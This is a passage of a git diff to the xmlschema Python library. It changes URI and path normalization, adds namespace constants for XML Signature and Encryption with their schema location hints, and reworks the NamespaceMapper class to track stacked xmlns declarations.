ignore[arg-type, unused-ignore] + + @classmethod + def from_uri(cls, uri: str) -> 'LocationPath': + """ + Parse a URI and return a LocationPath. For non-local schemes like 'http', + 'https', etc. a LocationPosixPath is returned. For Windows related file + paths, like a path with a drive, a UNC path or a path containing a backslash, + a LocationWindowsPath is returned. + """ + uri = uri.strip() + if not uri: + raise XMLSchemaValueError("Empty URI provided!") + + parts = urlsplit(uri) + if not parts.scheme or parts.scheme == 'file': + path = get_uri_path(authority=parts.netloc, path=parts.path) + + # Detect invalid Windows paths (rooted or UNC path followed by a drive) + for k in range(len(path)): + if path[k] not in '/\\': + if not k or not is_drive_path(path[k:]): + break + elif k == 1 and parts.scheme == 'file': + # Valid case for a URL with a file scheme + return LocationWindowsPath(unquote(path[1:])) + else: + raise XMLSchemaValueError(f"Invalid URI {uri!r}") + + if '\\' in path or platform.system() == 'Windows': + return LocationWindowsPath(unquote(path)) + elif ntpath.splitdrive(path)[0]: + location_path = LocationWindowsPath(unquote(path)) + if location_path.drive: + # PureWindowsPath not detects a drive in Python 3.11.x also + # if it's detected by ntpath.splitdrive(). + return location_path + + return LocationPosixPath(unquote(path)) + + elif parts.scheme in DRIVE_LETTERS: + # uri is a Windows path with a drive, e.g. k:/Python/lib/file + + # urlsplit() converts the scheme to lowercase so use uri[0] + path = f'{uri[0]}:{get_uri_path(authority=parts.netloc, path=parts.path)}' + return LocationWindowsPath(unquote(path)) + + elif parts.scheme == 'urn': + raise XMLSchemaValueError(f"Can't create a {cls!r} from an URN!") + else: + return LocationPosixPath(unquote(parts.path)) + + def as_uri(self) -> str: + # Implementation that maps relative paths to not RFC 8089 compliant relative + # file URIs because urlopen() doesn't accept simple paths. For UNC paths uses + # the format with four slashes to let urlopen() works. + + drive = self.drive + if len(drive) == 2 and drive[1] == ':' and drive[0] in DRIVE_LETTERS: + # A Windows path with a drive: 'c:\dir\file' => 'file:///c:/dir/file' + prefix = 'file:///' + drive + path = self.as_posix()[2:] + elif drive: + # UNC format case: '\\host\dir\file' => 'file:////host/dir/file' + prefix = 'file://' + path = self.as_posix() + else: + path = self.as_posix() + if path.startswith('/'): + # A Windows relative path or an absolute posix path: + # ('\dir\file' | '/dir/file') => 'file://dir/file' + prefix = 'file://' + else: + # A relative posix path: 'dir/file' => 'file:dir/file' + prefix = 'file:' + + return prefix + quote_from_bytes(os.fsencode(path)) + + def normalize(self) -> 'LocationPath': + normalized_path = self._path_module.normpath(str(self)) + return self.__class__(normalized_path) + + +class LocationPosixPath(LocationPath, PurePosixPath): + _path_module = posixpath + __slots__ = () + + +class LocationWindowsPath(LocationPath, PureWindowsPath): + _path_module = ntpath + __slots__ = () + + +def get_uri_path(scheme: str = '', authority: str = '', path: str = '', + query: str = '', fragment: str = '') -> str: + """ + Get the URI path from components, according to https://datatracker.ietf.org/doc/html/rfc3986. + The returned path includes the authority. + """ + if scheme == 'urn': + if not path or authority or query or fragment: + raise XMLSchemaValueError("An URN can have only scheme and path components") + elif path.startswith(':') or path.endswith(':'): + raise XMLSchemaValueError(f"Invalid URN path {path!r}") + return path + elif authority: + if path and path[:1] != '/': + return f'//{authority}/{path}' + else: + return f'//{authority}{path}' + elif path[:2] == '//': + return f'//{path}' # UNC path + elif scheme and scheme not in DRIVE_LETTERS and (not path or path[0] == '/'): + return f'//{path}' + else: + return path + + +def get_uri(scheme: str = '', authority: str = '', path: str = '', + query: str = '', fragment: str = '') -> str: + """ + Get the URI from components, according to https://datatracker.ietf.org/doc/html/rfc3986. + """ + if scheme == 'urn': + return f'urn:{get_uri_path(scheme, authority, path, query, fragment)}' + + url = get_uri_path(scheme, authority, path, query, fragment) + if scheme: + url = scheme + ':' + url + if query: + url = url + '?' + query + if fragment: + url = url + '#' + fragment + + return url + + +def normalize_url(url: str, base_url: Optional[str] = None, + keep_relative: bool = False, method: str = 'xml') -> str: + """ + Returns a normalized URL eventually joining it to a base URL if it's a relative path. + Path names are converted to 'file' scheme URLs and unsafe characters are encoded. + Query and fragments parts are kept only for non-local URLs + + :param url: a relative or absolute URL. + :param base_url: a reference base URL. + :param keep_relative: if set to `True` keeps relative file paths, which would \ + not strictly conformant to specification (RFC 8089), because *urlopen()* doesn't \ + accept a simple pathname. + :param method: method used to encode query and fragment parts. If set to `html` \ + the whitespaces are replaced with `+` characters. + :return: a normalized URL string. + """ + url_parts = urlsplit(url.lstrip()) + if not is_local_scheme(url_parts.scheme): + return encode_url(get_uri(*url_parts), method) + + path = LocationPath.from_uri(url) + if path.is_absolute(): + return path.normalize().as_uri() + + if base_url is not None: + base_url_parts = urlsplit(base_url.lstrip()) + base_path = LocationPath.from_uri(base_url) + + if is_local_scheme(base_url_parts.scheme): + path = base_path.joinpath(path) + elif not url_parts.scheme: + url = get_uri( + base_url_parts.scheme, + base_url_parts.netloc, + base_path.joinpath(path).normalize().as_posix(), + url_parts.query, + url_parts.fragment + ) + return encode_url(url, method) + + if path.is_absolute() or keep_relative: + return path.normalize().as_uri() + + base_path = LocationPath(os.getcwd()) + return base_path.joinpath(path).normalize().as_uri() + + +def is_local_scheme(scheme: str) -> bool: + return not scheme or scheme == 'file' or scheme in DRIVE_LETTERS + + +def is_url(obj: object) -> bool: + """Returns `True` if the provided object is a URL, `False` otherwise.""" + if isinstance(obj, str): + if '\n' in obj or obj.lstrip().startswith('<'): + return False + elif isinstance(obj, bytes): + if b'\n' in obj or obj.lstrip().startswith(b'<'): + return False + else: + return isinstance(obj, Path) + + try: + urlsplit(obj.strip()) # type: ignore + except ValueError: # pragma: no cover + return False + else: + return True + + +def is_remote_url(obj: object) -> bool: + if isinstance(obj, str): + if '\n' in obj or obj.lstrip().startswith('<'): + return False + url = obj.strip() + elif isinstance(obj, bytes): + if b'\n' in obj or obj.lstrip().startswith(b'<'): + return False + url = obj.strip().decode('utf-8') + else: + return False + + try: + return not is_local_scheme(urlsplit(url).scheme) + except ValueError: # pragma: no cover + return False + + +def is_local_url(obj: object) -> bool: + if isinstance(obj, str): + if '\n' in obj or obj.lstrip().startswith('<'): + return False + url = obj.strip() + elif isinstance(obj, bytes): + if b'\n' in obj or obj.lstrip().startswith(b'<'): + return False + url = obj.strip().decode('utf-8') + else: + return isinstance(obj, Path) + + try: + return is_local_scheme(urlsplit(url).scheme) + except ValueError: # pragma: no cover + return False + + +def url_path_is_file(url: str) -> bool: + if not is_local_url(url): + return False + if os.path.isfile(url): + return True + path = unquote(urlsplit(normalize_url(url)).path) + if path.startswith('/') and platform.system() == 'Windows': + path = path[1:] + return os.path.isfile(path) + + +def is_unc_path(path: str) -> bool: + """ + Returns `True` if the provided path is a UNC path, `False` otherwise. + Based on the capabilities of `PureWindowsPath` of the Python release. + """ + return PureWindowsPath(path).drive.startswith('\\\\') + + +def is_drive_path(path: str) -> bool: + """Returns `True` if the provided path starts with a drive (e.g. 'C:'), `False` otherwise.""" + drive = ntpath.splitdrive(path)[0] + return len(drive) == 2 and drive[1] == ':' and drive[0] in DRIVE_LETTERS + + +def is_encoded_url(url: str) -> bool: + """ + Determines whether the given URL is encoded. The case with '+' and without + spaces is not univocal and the plus signs are ignored for the result. + """ + return unquote(url) != url or \ + '+' in url and ' ' not in url and \ + unquote(url.replace('+', '$')) != url.replace('+', '$') + + +def is_safe_url(url: str, method: str = 'xml') -> bool: + """Determines whether the given URL is safe.""" + query_quote = quote_plus if method == 'html' else quote + query_unquote = unquote_plus if method == 'html' else unquote + + parts = urlsplit(url.lstrip()) + path_safe = ':/\\' if is_local_scheme(parts.scheme) else '/' + + return parts.netloc == quote(unquote(parts.netloc), safe='@:') and \ + parts.path == quote(unquote(parts.path), safe=path_safe) and \ + parts.query == query_quote(query_unquote(parts.query), safe=';/?:@=&') and \ + parts.fragment == query_quote(query_unquote(parts.fragment), safe=';/?:@=&') + + +def encode_url(url: str, method: str = 'xml') -> str: + """Encode the given url, if necessary.""" + if is_safe_url(url, method): + return url + elif is_encoded_url(url): + url = decode_url(url, method) + + query_quote = quote_plus if method == 'html' else quote + parts = urlsplit(url.lstrip()) + path_safe = ':/\\' if is_local_scheme(parts.scheme) else '/' + + return get_uri( + parts.scheme, + quote(parts.netloc, safe='@:'), + quote(parts.path, safe=path_safe), + query_quote(parts.query, safe=';/?:@=&'), + query_quote(parts.fragment, safe=';/?:@=&'), + ) + + +def decode_url(url: str, method: str = 'xml') -> str: + """Decode the given url, if necessary.""" + if not is_encoded_url(url): + return url + + query_unquote = unquote_plus if method == 'html' else unquote + + parts = urlsplit(url) + return get_uri( + parts.scheme, + unquote(parts.netloc), + unquote(parts.path), + query_unquote(parts.query), + query_unquote(parts.fragment), + ) + + +def normalize_locations(locations: LocationsType, + base_url: Optional[str] = None, + keep_relative: bool = False) -> NormalizedLocationsType: + """ + Returns a list of normalized locations. The locations are normalized using + the base URL of the instance. + + :param locations: a dictionary or a list of couples containing namespace location hints. + :param base_url: the reference base URL for construct the normalized URL from the argument. + :param keep_relative: if set to `True` keeps relative file paths, which would not strictly \ + conformant to URL format specification. + :return: a list of couples containing normalized namespace location hints. + """ + normalized_locations = [] + if isinstance(locations, MutableMapping): + for ns, value in locations.items(): + if isinstance(value, list): + normalized_locations.extend( + [(ns, normalize_url(url, base_url, keep_relative)) for url in value] + ) + else: + normalized_locations.append((ns, normalize_url(value, base_url, keep_relative))) + else: + normalized_locations.extend( + [(ns, normalize_url(url, base_url, keep_relative)) for ns, url in locations] + ) + return normalized_locations + + +def match_location(url: str, locations: Iterable[str]) -> Optional[str]: + """ + Match a URL against a group of locations. Give priority to exact matches, + then to the match with the highest score after filtering out the locations + that are not compatible with provided url. The score of a location path is + determined by the number of path levels minus the number of parent steps. + If no match is found returns `None`. + """ + def is_compatible(loc: str) -> bool: + parts = urlsplit(loc) + return not parts.scheme or scheme == parts.scheme and netloc == parts.netloc + + if url in locations: + return url + + scheme, netloc = urlsplit(url)[:2] + path = LocationPath.from_uri(url).normalize() + matching_url = None + matching_score = None + + for other_url in filter(is_compatible, locations): + other_path = LocationPath.from_uri(other_url).normalize() + pattern = other_path.as_posix().replace('..', '*') + + if path.match(pattern): + score = pattern.count('/') - pattern.count('*') + if matching_score is None or matching_score < score: + matching_score = score + matching_url = other_url + + return matching_url diff --git a/xmlschema/names.py b/xmlschema/names.py index 364d409..47780f6 100644 --- a/xmlschema/names.py +++ b/xmlschema/names.py @@ -23,6 +23,12 @@ XML_NAMESPACE = 'http://www.w3.org/XML/1998/namespace' "URI of the XML namespace (xml)" +XMLNS_NAMESPACE = 'http://www.w3.org/2000/xmlns/' +""" +Special namespace, reserved for making xmlns declarations with the use of extended +names. Can't be used as a target namespace for a schema or for its components. +""" + XHTML_NAMESPACE = 'http://www.w3.org/1999/xhtml' XHTML_DATATYPES_NAMESPACE = 'http://www.w3.org/1999/xhtml/datatypes/' "URIs of the Extensible Hypertext Markup Language namespace (html)" @@ -40,12 +46,22 @@ "URI of the XML Schema Versioning namespace (vc)" ### -# Namespace URIs for XML documents +# Namespaces for WSDL documents WSDL_NAMESPACE = 'http://schemas.xmlsoap.org/wsdl/' SOAP_NAMESPACE = 'http://schemas.xmlsoap.org/wsdl/soap/' SOAP_ENVELOPE_NAMESPACE = 'http://schemas.xmlsoap.org/soap/envelope/' SOAP_ENCODING_NAMESPACE = 'http://schemas.xmlsoap.org/soap/encoding/' +### +# Namespaces for XML Signature Syntax and Processing +DSIG_NAMESPACE = 'http://www.w3.org/2000/09/xmldsig#' +DSIG11_NAMESPACE = 'http://www.w3.org/2009/xmldsig11#' + +### +# Namespaces for XML Encryption Syntax and Processing +XENC_NAMESPACE = 'http://www.w3.org/2001/04/xmlenc#' +XENC11_NAMESPACE = 'http://www.w3.org/2009/xmlenc11#' + ### # Schema location hints @@ -54,18 +70,23 @@ LOCATION_HINTS = { # Locally saved schemas - # HFP_NAMESPACE: os.path.join(SCHEMAS_DIR, 'HFP/XMLSchema-hasFacetAndProperty_minimal.xsd'), - VC_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XSI/XMLSchema-versioning.xsd'), + HFP_NAMESPACE: os.path.join(SCHEMAS_DIR, 'HFP/XMLSchema-hasFacetAndProperty_minimal.xsd'), + VC_NAMESPACE: os.path.join(SCHEMAS_DIR, 'VC/XMLSchema-versioning.xsd'), XLINK_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XLINK/xlink.xsd'), XHTML_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XHTML/xhtml1-strict.xsd'), WSDL_NAMESPACE: os.path.join(SCHEMAS_DIR, 'WSDL/wsdl.xsd'), SOAP_NAMESPACE: os.path.join(SCHEMAS_DIR, 'WSDL/wsdl-soap.xsd'), SOAP_ENVELOPE_NAMESPACE: os.path.join(SCHEMAS_DIR, 'WSDL/soap-envelope.xsd'), SOAP_ENCODING_NAMESPACE: os.path.join(SCHEMAS_DIR, 'WSDL/soap-encoding.xsd'), + DSIG_NAMESPACE: os.path.join(SCHEMAS_DIR, 'DSIG/xmldsig-core-schema.xsd'), + DSIG11_NAMESPACE: os.path.join(SCHEMAS_DIR, 'DSIG/xmldsig11-schema.xsd'), + XENC_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XENC/xenc-schema.xsd'), + XENC11_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XENC/xenc-schema-11.xsd'), + XSI_NAMESPACE: os.path.join(SCHEMAS_DIR, 'XSI/XMLSchema-instance_minimal.xsd'), # Remote locations: contributors can propose additional official locations # for other namespaces for extending this list. - XSLT_NAMESPACE: os.path.join(SCHEMAS_DIR, 'http://www.w3.org/2007/schema-for-xslt20.xsd'), + XSLT_NAMESPACE: 'http://www.w3.org/2007/schema-for-xslt20.xsd', } diff --git a/xmlschema/namespaces.py b/xmlschema/namespaces.py index a20847d..2eb03e0 100644 --- a/xmlschema/namespaces.py +++ b/xmlschema/namespaces.py @@ -11,97 +11,109 @@ This module contains classes for managing maps related to namespaces. """ import re -from typing import Any, Container, Dict, Iterator, List, Optional, MutableMapping, \ - Mapping, TypeVar +import copy +from typing import Any, Callable, Container, Dict, Iterator, List, \ + Optional, MutableMapping, Mapping, NamedTuple, Union, Tuple, TypeVar from .exceptions import XMLSchemaValueError, XMLSchemaTypeError -from .helpers import local_name -from .aliases import NamespacesType +from .helpers import local_name, update_namespaces, get_namespace_map, \ + iter_decoded_data +from .aliases import NamespacesType, XmlnsType, ElementType +from .resources import XMLResource -### -# Base classes for managing namespaces +class NamespaceMapperContext(NamedTuple): + obj: Union[ElementType, Any] + level: int + xmlns: XmlnsType + namespaces: NamespacesType + reverse: NamespacesType -class NamespaceResourcesMap(MutableMapping[str, Any]): - """ - Dictionary for storing information about namespace resources. The values are - lists of objects. Setting an existing value appends the object to the value. - Setting a value with a list sets/replaces the value. - """ - __slots__ = ('_store',) - def __init__(self, *args: Any, **kwargs: Any): - self._store: Dict[str, List[Any]] = {} - self.update(*args, **kwargs) - - def __getitem__(self, uri: str) -> Any: - return self._store[uri] - - def __setitem__(self, uri: str, value: Any) -> None: - if isinstance(value, list): - self._store[uri] = value[:] - else: - try: - self._store[uri].append(value) - except KeyError: - self._store[uri] = [value] - - def __delitem__(self, uri: str) -> None: - del self._store[uri] - - def __iter__(self) -> Iterator[str]: - return iter(self._store) - - def __len__(self) -> int: - return len(self._store) - - def __repr__(self) -> str: - return repr(self._store) - - def clear(self) -> None: - self._store.clear() +XMLNS_PROCESSING_MODES = frozenset(('stacked', 'collapsed', 'root-only', 'none')) class NamespaceMapper(MutableMapping[str, str]): """ - A class to map/unmap namespace prefixes to URIs. The mapped namespaces are - automatically registered when set. Namespaces can be updated overwriting - the existing registration or inserted using an alternative prefix. - - :param namespaces: initial data with namespace prefixes and URIs. \ - The provided dictionary is bound with the instance, otherwise a new \ - empty dictionary is used. - :param strip_namespaces: if set to `True` uses name mapping methods that strip \ - namespace information. + A class to map/unmap namespace prefixes to URIs. An internal reverse mapping + from URI to prefix is also maintained for keep name mapping consistent within + updates. + + :param namespaces: initial data with mapping of namespace prefixes to URIs. + :param process_namespaces: whether to use namespace information in name mapping \ + methods. If set to `False` then the name mapping methods simply return the \ + provided name. + :param strip_namespaces: if set to `True` then the name mapping methods return \ + the local part of the provided name. + :param xmlns_processing: defines the processing mode of XML namespace declarations. \ + The preferred mode is 'stacked', the mode that processes the namespace declarations \ + using a stack of contexts related with elements and levels. \ + This is the processing mode that always matches the XML namespace declarations \ + defined in the XML document. Provide 'collapsed' for loading all namespace \ + declarations of the XML source in a single map, renaming colliding prefixes. \ + Provide 'root-only' to use only the namespace declarations of the XML document root. \ + Provide 'none' to not use any namespace declaration of the XML document. \ + For default the xmlns processing mode is 'stacked' if the XML source is an \ + `XMLResource` instance, otherwise is 'none'. + :param source: the origin of XML data. Con be an `XMLResource` instance, an XML \ + decoded data or `None`. """ - __slots__ = '_namespaces', 'strip_namespaces', '__dict__' + __slots__ = '_namespaces', '_reverse', '_contexts', \ + 'process_namespaces', 'strip_namespaces', '_use_namespaces', \ + 'xmlns_processing', 'source', '_xmlns_getter', '__dict__' + _namespaces: NamespacesType + _contexts: List[NamespaceMapperContext] + _xmlns_getter: Optional[Callable[[ElementType], XmlnsType]] def __init__(self, namespaces: Optional[NamespacesType] = None, - strip_namespaces: bool = False): - if namespaces is None: - self._namespaces = {} - else: - self._namespaces = namespaces + process_namespaces: bool = True, + strip_namespaces: bool = False, + xmlns_processing: Optional[str] = None, + source: Optional[Any] = None) -> None: + + self.process_namespaces = process_namespaces self.strip_namespaces = strip_namespaces + self._use_namespaces = bool(process_namespaces and not strip_namespaces) + self.source = source + + if xmlns_processing is None: + xmlns_processing = self.xmlns_processing_default + elif not isinstance(xmlns_processing, str): + raise XMLSchemaTypeError("invalid type for argument 'xmlns_processing'") + + if xmlns_processing not in XMLNS_PROCESSING_MODES: + raise XMLSchemaValueError("invalid value for argument 'xmlns_processing'") + self.xmlns_processing = xmlns_processing + + if xmlns_processing == 'none': + self._xmlns_getter = None + elif isinstance(source, XMLResource): + self._xmlns_getter = source.get_xmlns + else: + self._xmlns_getter = self.get_xmlns_from_data - def __setattr__(self, name: str, value: str) -> None: - if name == 'strip_namespaces': - if value: - self.map_qname = self.unmap_qname = self._local_name # type: ignore[assignment] - elif getattr(self, 'strip_namespaces', False): - self.map_qname = self._map_qname # type: ignore[assignment] - self.unmap_qname = self._unmap_qname # type: ignore[assignment] - super(NamespaceMapper, self).__setattr__(name, value) + self._namespaces = self.get_namespaces(namespaces) + self._reverse = { + v: k for k, v in reversed(self._namespaces.items()) # type: ignore[call-overload] + } + self._contexts = [] def __getitem__(self, prefix: str) -> str: return self._namespaces[prefix] def __setitem__(self, prefix: str, uri: str) -> None: self._namespaces[prefix] = uri + self._reverse[uri] = prefix def __delitem__(self, prefix: str) -> None: - del self._namespaces[prefix] + uri = self._namespaces.pop(prefix) + del self._reverse[uri] + + for k in reversed(self._namespaces.keys()): # type: ignore[call-overload] + if self._namespaces[k] == uri: + self._reverse[uri] = k + break def __iter__(self) -> Iterator[str]: return iter(self._namespaces) @@ -117,34 +129,136 @@ def namespaces(self) -> NamespacesType: def default_namespace(self) -> Optional[str]: return self._namespaces.get('') + @property + def xmlns_processing_default(self) -> str: + return 'stacked' if isinstance(self.source, XMLResource) else 'none' + + def __copy__(self) -> 'NamespaceMapper': + mapper: 'NamespaceMapper' = object.__new__(self.__class__) + + for cls in self.__class__.__mro__: + if hasattr(cls, '__slots__'): + for attr in cls.__slots__: + setattr(mapper, attr, copy.copy(getattr(self, attr))) + + return mapper + def clear(self) -> None: self._namespaces.clear() + self._reverse.clear() + self._contexts.clear() - def insert_item(self, prefix: str, uri: str) -> None: + def get_xmlns_from_data(self, obj: Any) -> XmlnsType: + """Returns the XML declarations from decoded element data.""" + return None + + def get_namespaces(self, namespaces: Optional[NamespacesType] = None, + root_only: bool = True) -> NamespacesType: """ - A method for setting an item that checks the prefix before inserting. - In case of collision the prefix is changed adding a numerical suffix. + Extracts namespaces with related prefixes from the XML source. It the XML + source is an `XMLResource` instance delegates the extraction to it. + With XML decoded data iterates the source try to extract xmlns information + using the implementation of *get_xmlns_from_data()*. If xmlns processing + mode is 'none', no namespace declaration is retrieved from the XML source. + Arguments and return type are identical to the ones defined for the method + *get_namespaces()* of `XMLResource` class. """ - if not prefix: - if '' not in self._namespaces: - self._namespaces[prefix] = uri - return - elif self._namespaces[''] == uri: - return - prefix = 'default' - - while prefix in self._namespaces: - if self._namespaces[prefix] == uri: - return - match = re.search(r'(\d+)$', prefix) - if match: - index = int(match.group()) + 1 - prefix = prefix[:match.span()[0]] + str(index) - else: - prefix += '0' - self._namespaces[prefix] = uri - - def _map_qname(self, qname: str) -> str: + if self._xmlns_getter is None: + return get_namespace_map(namespaces) + elif isinstance(self.source, XMLResource): + return self.source.get_namespaces(namespaces, root_only) + + namespaces = get_namespace_map(namespaces) + for obj, level in iter_decoded_data(self.source): + if level and root_only: + break + xmlns = self.get_xmlns_from_data(obj) + if xmlns: + update_namespaces(namespaces, xmlns, not level) + + return namespaces + + def set_context(self, obj: Any, level: int) -> XmlnsType: + """ + Set the right context for the XML data and its level, updating the namespace + map if necessary. Returns the xmlns declarations of the provided XML data. + """ + xmlns = None + + if self._contexts: + # Remove contexts of sibling or descendant elements + namespaces = reverse = None + + while self._contexts: # pragma: no cover + context = self._contexts[-1] + if level > context.level: + break + elif level == context.level and context.obj is obj: + # The context for (obj, level) already exists + xmlns = context.xmlns + break + + namespaces, reverse = self._contexts.pop()[-2:] + + if namespaces is not None and reverse is not None: + self._namespaces.clear() + self._namespaces.update(namespaces) + self._reverse.clear() + self._reverse.update(reverse) + + if xmlns or not self._xmlns_getter: + return xmlns + + xmlns = self._xmlns_getter(obj) + if xmlns: + if self.xmlns_processing == 'stacked': + context = NamespaceMapperContext( + obj, + level, + xmlns, + {k: v for k, v in self._namespaces.items()}, + {k: v for k, v in self._reverse.items()}, + ) + self._contexts.append(context) + self._namespaces.update(xmlns) + if level: + self._reverse.update((v, k) for k, v in xmlns) + else: + self._reverse.update((v, k) for k, v in reversed(xmlns) + if v not in self._reverse) + return xmlns + + elif not level or self.xmlns_processing == 'collapsed': + for prefix, uri in xmlns: + if not prefix: + if not uri: + continue + elif '' not in self._namespaces: + if not level: + self._namespaces[''] = uri + if uri not in self._reverse: + self._reverse[uri] = '' + continue + elif self._namespaces[''] == uri: + continue + prefix = 'default' + + while prefix in self._namespaces: + if self._namespaces[prefix] == uri: + break + match = re.search(r'(\d+)$', prefix) + if match: + index = int(match.group()) + 1 + prefix = prefix[:match.span()[0]] + str(index) + else: + prefix += '0' + else: + self._namespaces[prefix] = uri + if uri not in self._reverse: + self._reverse[uri] = prefix + return None + + def map_qname(self, qname: str) -> str: """ Converts an extended QName to the prefixed format. Only registered namespaces are mapped. @@ -152,6 +266,9 @@ def _map_qname(self, qname: str) -> str: :param qname: a QName in extended format or a local name. :return: a QName in prefixed format or a local name. """ + if not self._use_namespaces: + return local_name(qname) if self.strip_namespaces else qname + try: if qname[0] != '{' or not self._namespaces: return qname @@ -159,20 +276,20 @@ def _map_qname(self, qname: str) -> str: except IndexError: return qname except ValueError: - raise XMLSchemaValueError("the argument 'qname' has a wrong format: %r" % qname) + raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except TypeError: raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") - for prefix, uri in sorted(self._namespaces.items(), reverse=True): - if uri == namespace: - return '%s:%s' % (prefix, local_part) if prefix else local_part - else: + try: + prefix = self._reverse[namespace] + except KeyError: return qname + else: + return f'{prefix}:{local_part}' if prefix else local_part - map_qname = _map_qname - - def _unmap_qname(self, qname: str, - name_table: Optional[Container[Optional[str]]] = None) -> str: + def unmap_qname(self, qname: str, + name_table: Optional[Container[Optional[str]]] = None, + xmlns: Optional[List[Tuple[str, str]]] = None) -> str: """ Converts a QName in prefixed format or a local name to the extended QName format. Local names are converted only if a default namespace is included in the instance. @@ -181,57 +298,88 @@ def _unmap_qname(self, qname: str, :param qname: a QName in prefixed format or a local name :param name_table: an optional lookup table for checking local names. + :param xmlns: an optional list of namespace declarations that integrate \ + or override the namespace map. :return: a QName in extended format or a local name. """ + namespaces: MutableMapping[str, str] + + if not self._use_namespaces: + return local_name(qname) if self.strip_namespaces else qname + + if xmlns: + namespaces = {k: v for k, v in self._namespaces.items()} + namespaces.update(xmlns) + else: + namespaces = self._namespaces + try: - if qname[0] == '{' or not self._namespaces: + if qname[0] == '{' or not namespaces: return qname - prefix, name = qname.split(':') + elif ':' in qname: + prefix, name = qname.split(':') + else: + default_namespace = namespaces.get('') + if not default_namespace: + return qname + elif name_table is None or qname not in name_table: + return f'{{{default_namespace}}}{qname}' + else: + return qname + except IndexError: return qname except ValueError: - if ':' in qname: - raise XMLSchemaValueError("the argument 'qname' has a wrong format: %r" % qname) - if not self._namespaces.get(''): - return qname - elif name_table is None or qname not in name_table: - return '{%s}%s' % (self._namespaces.get(''), qname) - else: - return qname + raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except (TypeError, AttributeError): raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") else: try: - uri = self._namespaces[prefix] + uri = namespaces[prefix] except KeyError: return qname else: - return '{%s}%s' % (uri, name) if uri else name + return f'{{{uri}}}{name}' if uri else name - unmap_qname = _unmap_qname - @staticmethod - def _local_name(qname: str, *_args: Any, **_kwargs: Any) -> str: - return local_name(qname) +class NamespaceResourcesMap(MutableMapping[str, Any]): + """ + Dictionary for storing information about namespace resources. The values are + lists of objects. Setting an existing value appends the object to the value. + Setting a value with a list sets/replaces the value. + """ + __slots__ = ('_store',) - def transfer(self, namespaces: NamespacesType) -> None: - """ - Transfers compatible prefix/namespace registrations from a dictionary. - Registrations added to namespace mapper instance are deleted from argument. + def __init__(self, *args: Any, **kwargs: Any): + self._store: Dict[str, List[Any]] = {} + self.update(*args, **kwargs) - :param namespaces: a dictionary containing prefix/namespace registrations. - """ - transferred = [] - for k, v in namespaces.items(): - if k in self._namespaces: - if v != self._namespaces[k]: - continue - else: - self[k] = v - transferred.append(k) + def __getitem__(self, uri: str) -> Any: + return self._store[uri] + + def __setitem__(self, uri: str, value: Any) -> None: + if isinstance(value, list): + self._store[uri] = value[:] + else: + try: + self._store[uri].append(value) + except KeyError: + self._store[uri] = [value] + + def __delitem__(self, uri: str) -> None: + del self._store[uri] - for k in transferred: - del namespaces[k] + def __iter__(self) -> Iterator[str]: + return iter(self._store) + + def __len__(self) -> int: + return len(self._store) + + def __repr__(self) -> str: + return repr(self._store) + + def clear(self) -> None: + self._store.clear() T = TypeVar('T') @@ -242,18 +390,15 @@ class NamespaceView(Mapping[str, T]): A read-only map for filtered access to a dictionary that stores objects mapped from QNames in extended format. """ - __slots__ = 'target_dict', 'namespace', '_key_fmt' + __slots__ = 'target_dict', 'namespace', '_key_prefix' def __init__(self, qname_dict: Dict[str, T], namespace_uri: str): self.target_dict = qname_dict self.namespace = namespace_uri - if namespace_uri: - self._key_fmt = '{' + namespace_uri + '}%s' - else: - self._key_fmt = '%s' + self._key_prefix = f'{{{namespace_uri}}}' if namespace_uri else '' def __getitem__(self, key: str) -> T: - return self.target_dict[self._key_fmt % key] + return self.target_dict[self._key_prefix + key] def __len__(self) -> int: if not self.namespace: @@ -276,7 +421,7 @@ def __repr__(self) -> str: def __contains__(self, key: object) -> bool: if isinstance(key, str): - return self._key_fmt % key in self.target_dict + return self._key_prefix + key in self.target_dict return key in self.target_dict def __eq__(self, other: Any) -> Any: diff --git a/xmlschema/resources.py b/xmlschema/resources.py index 684e267..2793460 100644 --- a/xmlschema/resources.py +++ b/xmlschema/resources.py @@ -7,350 +7,68 @@ # # @author Davide Brunato <brunato@sissa.it> # -import copy +import sys import os.path -import platform -import re -import string +from collections import deque from io import StringIO, BytesIO -from pathlib import Path, PurePath, PurePosixPath, PureWindowsPath -from typing import cast, Any, AnyStr, Dict, Optional, IO, Iterator, List, \ - MutableMapping, Union, Tuple +from itertools import zip_longest +from pathlib import Path +from typing import cast, Any, AnyStr, Dict, Optional, IO, Iterator, \ + List, MutableMapping, Union, Tuple from urllib.request import urlopen -from urllib.parse import urlsplit, urlunsplit, unquote, quote_from_bytes +from urllib.parse import urlsplit, unquote from urllib.error import URLError -from elementpath import iter_select, XPathContext, XPath2Parser -from elementpath.protocols import ElementProtocol +from elementpath import XPathToken, XPathContext, XPath2Parser, ElementNode, \ + LazyElementNode, DocumentNode, build_lxml_node_tree, build_node_tree +from elementpath.etree import ElementTree, PyElementTree, SafeXMLParser, etree_tostring +from elementpath.protocols import LxmlElementProtocol from .exceptions import XMLSchemaTypeError, XMLSchemaValueError, XMLResourceError -from .names import XML_NAMESPACE -from .etree import ElementTree, PyElementTree, SafeXMLParser, etree_tostring -from .aliases import ElementType, ElementTreeType, NamespacesType, XMLSourceType, \ - NormalizedLocationsType, LocationsType, NsmapType, ParentMapType -from .helpers import get_namespace, is_etree_element, is_etree_document, \ - etree_iter_location_hints +from .names import XSD_NAMESPACE +from .aliases import ElementType, NamespacesType, XMLSourceType, \ + NormalizedLocationsType, LocationsType, ParentMapType, UriMapperType +from .helpers import get_namespace, update_namespaces, get_namespace_map, \ + is_etree_document, etree_iter_location_hints +from .locations import LocationPath, is_url, is_remote_url, is_local_url, \ + normalize_url, normalize_locations + +if sys.version_info < (3, 9): + from typing import Deque +else: + Deque = deque DEFUSE_MODES = frozenset(('never', 'remote', 'nonlocal', 'always')) SECURITY_MODES = frozenset(('all', 'remote', 'local', 'sandbox', 'none')) -### -# Restricted XPath parser for XML resources -LAZY_XML_XPATH_SYMBOLS = frozenset(( - 'position', 'last', 'not', 'and', 'or', '!=', '<=', '>=', '(', ')', 'text', - '[', ']', '.', ',', '/', '|', '*', '=', '<', '>', ':', '@', '(end)', - 